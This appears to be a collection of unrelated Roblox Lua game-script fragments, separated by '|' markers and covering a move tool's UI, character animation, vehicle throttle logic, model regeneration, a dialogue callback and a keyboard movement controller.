ZInput.FocusLost:connect(function (EnterPressed)
local NewPosition = tonumber(ZInput.Text);
if NewPosition then
SetAxisPosition('Z', NewPosition);
end;
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not MoveTool.UI then
return;
end;
-- Hide the UI
MoveTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not MoveTool.UI then
return;
end;
-- Only show and calculate selection info if it's not empty
if #Selection.Items == 0 then
MoveTool.UI.Info.Visible = false;
MoveTool.UI.Size = UDim2.new(0, 245, 0, 90);
return;
else
MoveTool.UI.Info.Visible = true;
MoveTool.UI.Size = UDim2.new(0, 245, 0, 150);
end;
---------------------------------------------
-- Update the position information indicators
---------------------------------------------
-- Identify common positions across axes
local XVariations, YVariations, ZVariations = {}, {}, {};
for _, Part in pairs(Selection.Items) do
table.insert(XVariations, Support.Round(Part.Position.X, 3));
table.insert(YVariations, Support.Round(Part.Position.Y, 3));
table.insert(ZVariations, Support.Round(Part.Position.Z, 3));
end;
local CommonX = Support.IdentifyCommonItem(XVariations);
local CommonY = Support.IdentifyCommonItem(YVariations);
local CommonZ = Support.IdentifyCommonItem(ZVariations);
-- Shortcuts to indicators
local XIndicator = MoveTool.UI.Info.Center.X.TextBox;
local YIndicator = MoveTool.UI.Info.Center.Y.TextBox;
local ZIndicator = MoveTool.UI.Info.Center.Z.TextBox;
-- Update each indicator if it's not currently being edited
if not XIndicator:IsFocused() then
XIndicator.Text = CommonX or '*';
end;
if not YIndicator:IsFocused() then
YIndicator.Text = CommonY or '*';
end;
if not ZIndicator:IsFocused() then
ZIndicator.Text = CommonZ or '*';
end;
end;
function SetAxes(AxisMode)
-- Sets the given axis mode
-- Update setting
MoveTool.Axes = AxisMode;
-- Update the UI switch
if MoveTool.UI then
Core.ToggleSwitch(AxisMode, MoveTool.UI.AxesOption);
end;
-- Disable any unnecessary bounding boxes
BoundingBox.ClearBoundingBox();
-- For global mode, use bounding box handles
if AxisMode == 'Global' then
BoundingBox.StartBoundingBox(AttachHandles);
-- For local mode, use focused part handles
elseif AxisMode == 'Local' then
AttachHandles(Selection.Focus, true);
-- For last mode, use focused part handles
elseif AxisMode == 'Last' then
AttachHandles(Selection.Focus, true);
end;
end;
|
-- functions |
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
if FFlagUserAdjustHumanoidRootPartToHipPosition then
if not Humanoid.AutomaticScalingEnabled then
return 1
end
end
local scale = Humanoid.HipHeight / HumanoidHipHeight
if userAnimationSpeedDampening then
if AnimationSpeedDampeningObject == nil then
AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
end
if AnimationSpeedDampeningObject ~= nil then
scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight
end
end
return scale
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
local runSpeed = speedScaled / heightScale
if runSpeed ~= currentAnimSpeed then
if runSpeed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif runSpeed < 0.66 then
local weight = ((runSpeed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
currentAnimSpeed = runSpeed
runAnimTrack:AdjustSpeed(runSpeed)
currentAnimTrack:AdjustSpeed(runSpeed)
end
end
function setAnimationSpeed(speed)
if currentAnim == "walk" then
setRunSpeed(speed)
else
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
if userNoUpdateOnLoop == true then
if runAnimTrack.Looped ~= true then
runAnimTrack.TimePosition = 0.0
end
if currentAnimTrack.Looped ~= true then
currentAnimTrack.TimePosition = 0.0
end
else
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
end
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
if userNoUpdateOnLoop == true then
runAnimTrack = nil
end
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
|
--throttle.Value = TCount |
if script.Parent.Storage.Control.Value ~= "Controller" then
script.Parent.Storage.Throttle.Throttle.Value = 1
end
if script.Parent.Storage.Control.Value ~= "Controller" then
if carSeat.Throttle == 1 then
if autoF - 1 > autoR or clutch.Clutch.Value ~= 1 then
TCount = 1
else
if TCount >= 1 then
TCount = 1
else
if speed > 50 then
TCount = TCount + 0.167
elseif speed < 20 then
TCount = TCount + 0.3334
else
TCount = TCount + 0.02
end
end
end
else
if TCount <= 0 then
TCount = 0
else
TCount = 0
end
end
else TCount = throttle.Throttle.Value
end
if currentgear.Value ~= 1 then tlR = 0
if clutch.Clutch.Value ~= 1 then
if throttle.Value ~= 0 then
if engine.Value > redline.Value * (1-clutch.Clutch.Value) then --------------?? WE DONT NEED A 'FOR' IN THE CLUTCH CODE
engine.Value = engine.Value - 300
else
engine.Value = engine.Value + (((600+decay.Value) * script.Parent.Storage.Throttle.Throttle.Value) - decay.Value)
end else engine.Value = engine.Value - decay.Value
end
rpm.Value = engine.Value
else
engine.Value = rpm.Value
end
else
tlR = tlR + 0.05
if tlR > 20 then
script.Parent.Functions.Engine.Value = false
first = 0.333
end
engine.Value = engine.Value + (((600+decay.Value) * first) - decay.Value)
if engine.Value > idle.Value*2 then
first = 0
end
--engine.Value = (idle.Value-decay.Value)
end
|
--[[
local plr = game.Players.LocalPlayer
local mouse = plr:GetMouse()
function func()
return mouse.Target
end
script.Parent.MOUSEPOSPARENT.MouseTarget.OnClientInvoke = func
]] | |
-- To make this work, simply group it with the model you want! |
local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone()
local trigger = script.Parent
enabled = true
function onTouched(hit)
if enabled == true then
enabled = false
trigger.BrickColor = BrickColor.new("Really black")
if script.Parent.Parent:FindFirstChild(modelname) ~= nil then
script.Parent.Parent:FindFirstChild(modelname):Destroy()
end
wait(120)
local modelclone = modelbackup:clone()
modelclone.Parent = script.Parent.Parent
modelclone:MakeJoints()
wait(WaitTime)
enabled = true
trigger.BrickColor = BrickColor.new("Bright violet")
end
end
script.Parent.Touched:connect(onTouched)
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 6
plrData.Character.Injuries.Trauma.Value = false
end
|
--!strict
-- upstream: https://github.com/facebook/react/blob/607148673b3156d051d1fed17cd49e83698dce54/packages/react/src/ReactSharedInternals.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]] | |
--[[ The Module ]] | --
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local Keyboard = setmetatable({}, BaseCharacterController)
Keyboard.__index = Keyboard
function Keyboard.new(CONTROL_ACTION_PRIORITY)
local self = setmetatable(BaseCharacterController.new(), Keyboard)
self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY
self.textFocusReleasedConn = nil
self.textFocusGainedConn = nil
self.windowFocusReleasedConn = nil
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.jumpEnabled = true
return self
end
function Keyboard:Enable(enable)
if not UserInputService.KeyboardEnabled then
return false
end
if enable == self.enabled then
-- Module is already in the state being requested. True is returned here since the module will be in the state
-- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate
-- no action was necessary. False indicates failure to be in requested/expected state.
return true
end
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.moveVector = ZERO_VECTOR3
self.jumpRequested = false
self:UpdateJump()
if enable then
self:BindContextActions()
self:ConnectFocusEventListeners()
else
self:UnbindContextActions()
self:DisconnectFocusEventListeners()
end
self.enabled = enable
return true
end
function Keyboard:UpdateMovement(inputState)
if inputState == Enum.UserInputState.Cancel then
self.moveVector = ZERO_VECTOR3
else
self.moveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue)
end
end
function Keyboard:UpdateJump()
self.isJumping = self.jumpRequested
end
function Keyboard:BindContextActions()
-- Note: In the previous version of this code, the movement values were not zeroed-out on UserInputState. Cancel, now they are,
-- which fixes them from getting stuck on.
-- We return ContextActionResult.Pass here for legacy reasons.
-- Many games rely on gameProcessedEvent being false on UserInputService.InputBegan for these control actions.
local handleMoveForward = function(actionName, inputState, inputObject)
self.forwardValue = (inputState == Enum.UserInputState.Begin) and -1 or 0
self:UpdateMovement(inputState)
return Enum.ContextActionResult.Pass
end
local handleMoveBackward = function(actionName, inputState, inputObject)
self.backwardValue = (inputState == Enum.UserInputState.Begin) and 1 or 0
self:UpdateMovement(inputState)
return Enum.ContextActionResult.Pass
end
local handleMoveLeft = function(actionName, inputState, inputObject)
self.leftValue = (inputState == Enum.UserInputState.Begin) and -1 or 0
self:UpdateMovement(inputState)
return Enum.ContextActionResult.Pass
end
local handleMoveRight = function(actionName, inputState, inputObject)
self.rightValue = (inputState == Enum.UserInputState.Begin) and 1 or 0
self:UpdateMovement(inputState)
return Enum.ContextActionResult.Pass
end
local handleJumpAction = function(actionName, inputState, inputObject)
self.jumpRequested = self.jumpEnabled and (inputState == Enum.UserInputState.Begin)
self:UpdateJump()
return Enum.ContextActionResult.Pass
end
-- TODO: Revert to KeyCode bindings so that in the future the abstraction layer from actual keys to
-- movement direction is done in Lua
ContextActionService:BindActionAtPriority("moveForwardAction", handleMoveForward, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterForward)
ContextActionService:BindActionAtPriority("moveBackwardAction", handleMoveBackward, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterBackward)
ContextActionService:BindActionAtPriority("moveLeftAction", handleMoveLeft, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterLeft)
ContextActionService:BindActionAtPriority("moveRightAction", handleMoveRight, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterRight)
ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterJump)
end
function Keyboard:UnbindContextActions()
ContextActionService:UnbindAction("moveForwardAction")
ContextActionService:UnbindAction("moveBackwardAction")
ContextActionService:UnbindAction("moveLeftAction")
ContextActionService:UnbindAction("moveRightAction")
ContextActionService:UnbindAction("jumpAction")
end
function Keyboard:ConnectFocusEventListeners()
local function onFocusReleased()
self.moveVector = ZERO_VECTOR3
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.jumpRequested = false
self:UpdateJump()
end
local function onTextFocusGained(textboxFocused)
self.jumpRequested = false
self:UpdateJump()
end
self.textFocusReleasedConn = UserInputService.TextBoxFocusReleased:Connect(onFocusReleased)
self.textFocusGainedConn = UserInputService.TextBoxFocused:Connect(onTextFocusGained)
self.windowFocusReleasedConn = UserInputService.WindowFocused:Connect(onFocusReleased)
end
function Keyboard:DisconnectFocusEventListeners()
if self.textFocusReleasedConn then
self.textFocusReleasedConn:Disconnect()
self.textFocusReleasedConn = nil
end
if self.textFocusGainedConn then
self.textFocusGainedConn:Disconnect()
self.textFocusGainedConn = nil
end
if self.windowFocusReleasedConn then
self.windowFocusReleasedConn:Disconnect()
self.windowFocusReleasedConn = nil
end
end
return Keyboard
|
--These scripts are not mine, I just simply edited them. |